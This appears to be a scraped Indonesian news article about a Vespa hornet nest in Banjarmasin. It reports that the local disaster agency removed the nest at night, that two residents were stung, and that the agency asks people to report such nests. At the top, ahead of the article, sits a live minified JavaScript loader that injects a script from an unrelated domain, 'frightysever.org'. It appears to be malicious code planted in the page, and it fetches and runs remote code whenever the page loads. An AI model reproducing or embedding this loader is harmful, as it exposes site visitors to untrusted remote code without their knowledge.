(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sarang Tawon ‘Vespa’ Bikin Resah Warga Cempaka Sari Basirih

BANJARMASIN, Keberadaan sarang tawon di sebuah rumah milik Hadriansyah, di jalan Cempaka Sari 3 RT 38 RW 06, Kelurahan Basirih, Banjarmasin, sempat membuat resah warga sekitar sejak Jumat (13/12) siang.

Kronologis yang berhasil didapat Kanalkalimantan.com, Hadriansyah melapor melalui grup Whatshapp untuk meminta bantuan penanganan evakuasi sarang tawon kepada BPBD Kota Banjarmasin.

“Lalu kami beri penjelasan, (bahwa) kami melakukan eksekusi tapi pada malam hari. Karena mengkhawatirkan, kalau siang sangat beresiko bagi warga setempat,” kata Kepala Pelaksana BPBD Banjarmasin HM Hilmi melalui staf pelaksana Andy Putra usai evakuasi, Jum’at (13/12) malam.

Tim BPBD Banjarmasin sempat kesulitan dalam mengevakuasi sarang tawon karena titik sarang berada di atas atap. Akibatnya, 2 orang sempat terkena sengatan tawon, yakni Hadriansyah dan istrinya Susila Wati.

“Tawonnya jenis Vespa yang sedang viral di Pulau Jawa yaitu daerah Pemalang, Jawa Tengah dan memakan 2 korban jiwa meninggal dunia, karena sengatannya,” beber Andy.

Sehingga, BPBD Banjarmasin mengimbau kepada warga Banjarmasin, jika memang ada sarang tawon jenis Vespa agar sesegera mungkin menghubungi BPBD Kota Banjarmasin untuk dievakuasi. “Agar tidak ada korban sengatannya, karena tawon Vespa ini sangat agresif dan sengatannya bisa mematikan,” tandas Andy. (fikri)